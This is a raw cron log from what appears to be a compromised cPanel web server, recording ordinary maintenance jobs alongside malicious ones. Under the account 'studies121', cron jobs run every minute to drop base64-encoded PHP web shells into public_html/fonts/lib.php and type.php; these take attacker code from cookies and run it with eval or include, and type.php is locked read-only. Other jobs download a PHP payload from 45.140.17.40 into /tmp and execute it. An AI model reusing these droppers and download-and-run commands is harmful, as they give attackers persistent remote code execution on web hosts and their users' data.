Sep  9 00:45:01 ip-184-168-122-23 CROND[16388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:45:01 ip-184-168-122-23 CROND[16391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:45:01 ip-184-168-122-23 CROND[16390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:45:01 ip-184-168-122-23 CROND[16395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:45:01 ip-184-168-122-23 CROND[16392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:45:01 ip-184-168-122-23 CROND[16394]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  9 00:46:01 ip-184-168-122-23 CROND[16625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:46:01 ip-184-168-122-23 CROND[16627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:46:01 ip-184-168-122-23 CROND[16629]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 00:46:01 ip-184-168-122-23 CROND[16630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:46:01 ip-184-168-122-23 CROND[16631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:46:01 ip-184-168-122-23 CROND[16635]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:46:01 ip-184-168-122-23 CROND[16632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:47:01 ip-184-168-122-23 CROND[16725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:47:01 ip-184-168-122-23 CROND[16728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:47:01 ip-184-168-122-23 CROND[16729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:47:01 ip-184-168-122-23 CROND[16730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:48:01 ip-184-168-122-23 CROND[16804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:48:01 ip-184-168-122-23 CROND[16807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:48:01 ip-184-168-122-23 CROND[16808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:48:01 ip-184-168-122-23 CROND[16806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:48:01 ip-184-168-122-23 CROND[16809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:49:01 ip-184-168-122-23 CROND[16908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:49:01 ip-184-168-122-23 CROND[16911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:49:01 ip-184-168-122-23 CROND[16910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:49:01 ip-184-168-122-23 CROND[16912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:50:01 ip-184-168-122-23 CROND[17008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:50:01 ip-184-168-122-23 CROND[17010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:50:01 ip-184-168-122-23 CROND[17016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:50:01 ip-184-168-122-23 CROND[17017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:50:01 ip-184-168-122-23 CROND[17015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:50:01 ip-184-168-122-23 CROND[17014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:50:01 ip-184-168-122-23 CROND[17012]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:50:01 ip-184-168-122-23 CROND[17013]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:50:01 ip-184-168-122-23 CROND[17019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:51:01 ip-184-168-122-23 CROND[17110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:51:01 ip-184-168-122-23 CROND[17111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:51:01 ip-184-168-122-23 CROND[17113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:51:01 ip-184-168-122-23 CROND[17118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:52:01 ip-184-168-122-23 CROND[17285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:52:01 ip-184-168-122-23 CROND[17287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:52:01 ip-184-168-122-23 CROND[17289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:52:01 ip-184-168-122-23 CROND[17292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:52:01 ip-184-168-122-23 CROND[17290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:53:01 ip-184-168-122-23 CROND[17370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:53:01 ip-184-168-122-23 CROND[17371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:53:01 ip-184-168-122-23 CROND[17373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:53:01 ip-184-168-122-23 CROND[17372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:54:01 ip-184-168-122-23 CROND[17451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:54:01 ip-184-168-122-23 CROND[17453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:54:01 ip-184-168-122-23 CROND[17455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:54:01 ip-184-168-122-23 CROND[17456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:54:01 ip-184-168-122-23 CROND[17454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:55:01 ip-184-168-122-23 CROND[17544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:55:01 ip-184-168-122-23 CROND[17546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:55:01 ip-184-168-122-23 CROND[17545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:55:01 ip-184-168-122-23 CROND[17549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:55:01 ip-184-168-122-23 CROND[17547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:55:01 ip-184-168-122-23 CROND[17548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:56:01 ip-184-168-122-23 CROND[17648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:56:01 ip-184-168-122-23 CROND[17651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:56:01 ip-184-168-122-23 CROND[17650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:56:01 ip-184-168-122-23 CROND[17654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:56:01 ip-184-168-122-23 CROND[17655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:57:01 ip-184-168-122-23 CROND[17743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:57:01 ip-184-168-122-23 CROND[17745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:57:01 ip-184-168-122-23 CROND[17747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
